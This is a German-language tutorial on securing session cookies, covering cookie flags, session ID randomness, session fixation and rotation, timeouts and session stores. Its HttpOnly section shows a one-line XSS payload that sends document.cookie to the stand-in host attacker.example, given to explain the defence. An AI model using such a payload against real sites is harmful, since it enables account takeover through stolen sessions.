Wenn ein User eingeloggt ist, hält der Server seinen Auth-Zustand typischerweise in einer Session. Das Bindeglied zwischen Browser und Server-Session ist ein Cookie mit der Session-ID. Die Cookie-Konfiguration entscheidet, ob diese ID gegen XSS (HttpOnly), gegen Netzwerk-Sniffing (Secure), gegen CSRF (SameSite) und gegen Session-Fixation geschützt ist. Dieser Artikel zeigt die Cookie-Flags, die Session-Lebenszyklus-Patterns und die typischen Bug-Klassen.
Cookie-Flags im Überblick
| Flag | Was es macht | Pflicht für Auth-Cookies? |
|---|---|---|
HttpOnly | JS via document.cookie kann nicht lesen | Ja — gegen XSS-Cookie-Diebstahl |
Secure | Nur über HTTPS übertragen | Ja — gegen Netzwerk-Sniffing |
SameSite | Schickt Cookie bei Cross-Site-Requests nicht (oder nur bei Top-Level GET) | Ja — Lax Minimum, Strict wo möglich |
Path | Pfad-Scope (default /) | Selten ändern; /api für API-Cookies möglich |
Domain | Domain-Scope (default: aktueller Host) | Nicht setzen, außer Subdomain-Sharing nötig |
Max-Age / Expires | Cookie-Lebensdauer | Setzen — sonst Session-Cookie (bis Browser-Close) |
Partitioned (CHIPS) | Storage-Partitioning pro Top-Frame-Site | Nur für 3rd-Party-Cookies relevant |
Minimal-Konfiguration für ein modernes Session-Cookie:
Set-Cookie: __Host-sessionId=opaque-random; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=86400Das __Host--Präfix erzwingt Browser-seitig: Secure, Path=/, kein Domain-Attribut. Maximal-restriktiv, garantiert dass das Cookie nur für diesen exakten Host gilt.
HttpOnly — gegen XSS-Cookie-Diebstahl
Ohne HttpOnly kann JavaScript via document.cookie das Session-Cookie lesen. Bei einer XSS-Lücke liest der Angreifer-Code die Session-ID aus und sendet sie an einen kontrollierten Server — Account-Übernahme.
// Eingeschleuster XSS-Payload
new Image().src = 'https://attacker.example/?c=' + document.cookie;
// attacker sieht die volle Cookie-Liste im Server-LogMit HttpOnly wirft document.cookie keinen Fehler, gibt aber das geschützte Cookie nicht zurück — JavaScript hat keinen Zugriff.
Konsequenz für Auth-Architektur: Session-Cookies immer HttpOnly. Wenn die SPA selbst die Session-ID lesen muss (für CSRF-Token-Setup), ist die Architektur falsch — der Server soll das CSRF-Token in einem separaten, lesbaren Cookie oder als Response-Header senden.
Was HttpOnly NICHT verhindert:
- Cookie via XSS senden — wenn der Angreifer-Code
fetch('/api/transfer', { credentials: 'include' })aufruft, schickt der Browser das Cookie automatisch mit. Vertieft in csrf-grundlagen. - CSRF-Klasse —
SameSiteist die separate Schutz-Schicht dafür.
Secure — gegen Netzwerk-Sniffing
Secure weist den Browser an, das Cookie nur über HTTPS zu senden. Ohne Secure-Flag würde der Browser das Cookie auch über HTTP übertragen — was bei automatischer Weiterleitung HTTP → HTTPS einen kurzen Zeitraum lässt, in dem das Cookie im Klartext geht.
Pflicht für jedes Auth-Cookie. Über HTTPS ist das Cookie ohnehin geschützt; das Flag verhindert nur die HTTP-Variante.
Bei lokalem Dev-Setup ohne HTTPS:
- Im Dev-Mode mit
localhostistSecurebrowser-seitig auch ohne HTTPS akzeptiert (Chromium ab v89). - Andere Hosts (z. B.
192.168.1.x) brauchen TLS-Setup (mkcert) oder Dev-only-Override.
SameSite — gegen CSRF
SameSite steuert, ob der Browser das Cookie bei Cross-Site-Requests mitschickt.
| Wert | Verhalten | Wann nutzen |
|---|---|---|
Strict | Cookie nur bei Same-Site-Requests; auch nicht bei Klick auf externen Link zur Site | Maximal-Schutz, aber User klickt von Mail → Seite ohne Login |
Lax (Default seit 2020) | Cookie bei Same-Site-Requests immer; bei Cross-Site nur bei Top-Level-GET | Default für die meisten Apps |
None | Cookie immer, auch Cross-Site (Secure Pflicht) | Nur für legitime 3rd-Party-Cookies (Embed, OAuth-Redirect) |
Faustregel:
- Klassische Login-Cookies:
SameSite=Laxals Default. Reicht für 99 % der CSRF-Klassen. - Sehr sensitive Operationen (Banking, Admin-Panel):
SameSite=Strict— User muss dann nach Klick auf externen Link nochmal einloggen, was bewusste Entscheidung ist. - 3rd-Party-Embed-Use-Cases (Login-Widget auf Partner-Site):
SameSite=None; Secure. Aber: Storage-Partitioning ändert das Modell seit 2024 — vertieft in samesite-cookies (Kap 12).
Wichtig: SameSite=Lax ist kein vollständiger CSRF-Schutz. GET-Requests mit Side-Effects (z. B. /logout-Link, /delete?id=...) sind weiterhin angreifbar. Vertieft in csrf-tokens-und-double-submit.
Session-ID — wie zufällig ist genug?
Eine Session-ID ist ein Bearer-Token — wer sie hat, ist eingeloggt. Die ID muss:
- Kryptografisch zufällig sein — niemals sequenziell, niemals von User-Daten abgeleitet, niemals UUIDv1 (Zeit-basiert).
- Mindestens 128 Bit Entropie haben (OWASP-Mindeststandard); 256 Bit sind heute üblich.
- Nicht enumerierbar sein — niemand soll aus einer gültigen ID die nächste raten können.
Beispiel-Implementierung:
const crypto = require('crypto');
// 32 Bytes = 256 Bit Entropie
function newSessionId() {
return crypto.randomBytes(32).toString('base64url');
// Ergebnis ~43 Zeichen URL-safe
}import secrets
session_id = secrets.token_urlsafe(32) # 32 Bytes = 256 BitNiemals selbst rollen:
- UUIDv4 ist zwar zufällig, aber nur 122 Bit Entropie und für viele Library-Implementierungen Standard-erwartet — okay als Fallback, nicht ideal.
- UUIDv7 (Zeit-basiert mit Random-Anteil) ist gut für Datenbank-Primary-Keys, nicht für Session-IDs.
- MD5(timestamp + userid) und ähnliche Konstrukte sind ratbar — Anti-Pattern.
Session-Fixation
Session-Fixation ist ein Angriff, bei dem der Angreifer dem Opfer eine vorbereitete Session-ID unterschiebt — und nach dem Login des Opfers diese ID selbst nutzt.
Klassischer Ablauf:
- Angreifer holt sich eine Session-ID von der Ziel-App (z. B. anonymer Warenkorb-Session).
- Angreifer bringt das Opfer dazu, mit dieser Session-ID die Seite zu besuchen (Phishing-Link mit Session-ID in URL, Set-Cookie via XSS).
- Opfer loggt sich ein — Server hält die bestehende Session-ID und upgradet sie zu „authenticated".
- Angreifer hat dieselbe Session-ID, ist jetzt eingeloggt als Opfer.
Schutz: Session-Rotation nach Login.
app.post('/login', async (req, res) => {
// ... Auth-Check ...
// KRITISCH: bestehende Session zerstören, neue erzeugen
await sessionStore.destroy(req.cookies.sessionId);
const newSessionId = crypto.randomBytes(32).toString('base64url');
await sessionStore.set(newSessionId, {
userId: user.id,
createdAt: Date.now(),
});
res.cookie('sessionId', newSessionId, {
httpOnly: true, secure: true, sameSite: 'lax',
});
res.json({ ok: true });
});Auch beim Privilege-Escalation (User wird zu Admin, MFA-Step abgeschlossen, Re-Auth) — neue Session-ID generieren. Verhindert, dass eine geleakte „normale" Session-ID nach Privilege-Erhöhung weiter gilt.
Standard-Frameworks machen das oft automatisch — z. B. Devise (Rails), Django Auth, Spring Security. Custom-Code muss es explizit.
Session-Lebenszyklus
Eine Session braucht klare Regeln für Ablauf und Invalidierung.
const SESSION_ABSOLUTE_TTL = 24 * 60 * 60 * 1000; // 24 Stunden
const SESSION_IDLE_TTL = 30 * 60 * 1000; // 30 Minuten Idle
const SESSION_REAUTH_FOR_SENSITIVE = 5 * 60 * 1000; // 5 Minuten
function isSessionValid(session) {
const now = Date.now();
if (now - session.createdAt > SESSION_ABSOLUTE_TTL) return false;
if (now - session.lastActivity > SESSION_IDLE_TTL) return false;
return true;
}
// Bei jedem Request: lastActivity aktualisieren
function updateActivity(session) {
session.lastActivity = Date.now();
}
// Explizite Logout-Funktion: Session aus Store löschen
async function logout(sessionId) {
await sessionStore.destroy(sessionId);
// Cookie clearen
res.clearCookie('sessionId');
}Pattern-Empfehlungen:
- Idle-Timeout: 15–60 Minuten je nach Sensitivität. Banking: 5–10 Min. Standard-Web-App: 30 Min. Social Media: stundenlang.
- Absolute-Timeout: 12–24 Stunden für Web-Apps; 7 Tage für „Remember me"-Funktion mit niedrigeren Privilegien.
- Logout-on-everywhere: Session-Store muss alle Sessions eines Users auf einmal invalidieren können (für „Aus allen Geräten ausloggen"-Feature).
Session-Store-Architektur
Wo werden Sessions gespeichert?
| Store | Vorteile | Nachteile |
|---|---|---|
| In-Memory (Single-Server) | Schnell, einfach | Skaliert nicht, Restart = Logout |
| Redis | Schnell, geteilt, TTL eingebaut | Single Point of Failure, Cluster-Setup |
| Datenbank (SQL) | Persistent, verlässlich | Latenz höher, Schreib-Last |
| Signiertes Cookie (alle State im Cookie) | Stateless, skalierbar | Revocation schwierig (Token-Pattern, siehe JWT) |
| Cloud-Provider-Session-Store | Managed | Lock-in, Latenz wenn anderswo gehostet |
Empfehlung für die meisten Apps: Redis als Session-Store. Schnell genug, Skalierungs-fähig, TTL eingebaut. Bei Single-Server-Setup geht auch In-Memory (express-session mit MemoryStore) — Logout bei Restart akzeptabel.
Multi-Region-Apps: Session-Store regional, Cookie mit User-Location → Routing zur richtigen Region. Oder vollständig stateless mit JWT (siehe jwt-stateless-tokens).
Besonderheiten
__Host- und __Secure-Präfixe sind unterschätzt
Cookie-Namen mit Präfix __Host- erzwingen browser-seitig: Secure, Path=/, kein Domain. Mit __Secure--Präfix: nur Secure. Wenn der Server versucht, ein Cookie mit Präfix ohne diese Eigenschaften zu setzen, lehnt der Browser es ab. Strukturelle Garantie statt Hoffnung. Vertieft in Kap 16 cookie-flags-und-attribute.
Storage Partitioning ab 2024 ändert Cross-Site-Cookies
Chrome, Firefox und Safari partitionieren seit 2024 fast alle 3rd-Party-Cookies pro Top-Frame-Site. SameSite=None reicht nicht mehr für „Cookie überall verfügbar" — der Partitioned-Flag (CHIPS) ist nötig. Für klassische First-Party-Auth-Cookies ändert sich nichts; für embed-basierte Auth-Flows (SSO-Widgets) ist es ein eigenes Thema.
Session-Hijacking durch Sub-Domain-XSS
Wenn deine App auf app.example.com läuft und das Cookie mit Domain=.example.com gesetzt wird, hat eine XSS-Lücke auf blog.example.com oder cdn.example.com Zugriff auf das Cookie. __Host--Präfix oder kein Domain-Attribut verhindert das. Sub-Domains von User-Content (z. B. usercontent.example.com) sind besonders gefährlich.
Cookie-Size-Limit (4 KB) ist eine Grenze
Pro Cookie ~4 KB. Wenn Session-Daten direkt im Cookie liegen (Stateless), schnell erreicht. Session-Store-Pattern (Cookie hat nur die ID, Daten serverseitig) hat dieses Problem nicht. Bei JWT-Patterns mit vielen Claims aufpassen — manchmal Compression nötig.
"Remember Me" mit niedrigerer Privilege-Stufe
Eine elegante Lösung: zwei Cookies. Session-Cookie mit kurzer TTL für volle Berechtigung; Remember-Cookie mit langer TTL und niedrigerer Berechtigung (kann automatisch wieder in Session-Cookie aufgewertet werden, aber für sensible Aktionen ist Re-Auth nötig). GitHub und GitLab arbeiten so.
Server-Side Session-Listing für User
Eine Account-Settings-Seite „Aktive Sessions" mit Liste aller laufenden Sessions (Gerät, IP, Last-Activity) plus „Diese Session beenden"-Button ist sicherheits-relevant — und User-freundlich. Google, GitHub, Discord machen es vor. Implementierungs-Trick: pro Session ein Eintrag im Session-Store mit Metadaten (UA, IP), Listing-Query gegen userId-Index.
Cookie-Verschlüsselung statt Server-State (signed cookies)
Frameworks wie Rails und ASP.NET unterstützen encrypted cookies, in denen Session-State server-signiert (und optional verschlüsselt) direkt im Cookie liegt. Schnell, stateless, ohne externen Session-Store. Nachteil: Revocation funktioniert nicht direkt — Cookie bleibt valide bis Ablauf. Für kleine Apps ohne kritisches Logout-Anforderung okay, für sensible Apps nicht empfohlen.
Weiterführende Ressourcen
Externe Quellen
- OWASP Session Management Cheat Sheet
- RFC 6265 — HTTP State Management Mechanism (Cookies)
- RFC 6265bis — Cookies (Update)
- MDN Set-Cookie
- web.dev — SameSite Cookies Explained
- MDN — Partitioned Cookies (CHIPS)
Verwandte Artikel
- Auth-Grundlagen
- Passwort-Hashing
- JWT und Stateless Tokens
- SameSite-Cookies (Kap 12)
- CSRF-Grundlagen (Kap 12)
- Cookie-Flags und Attribute (Kap 16)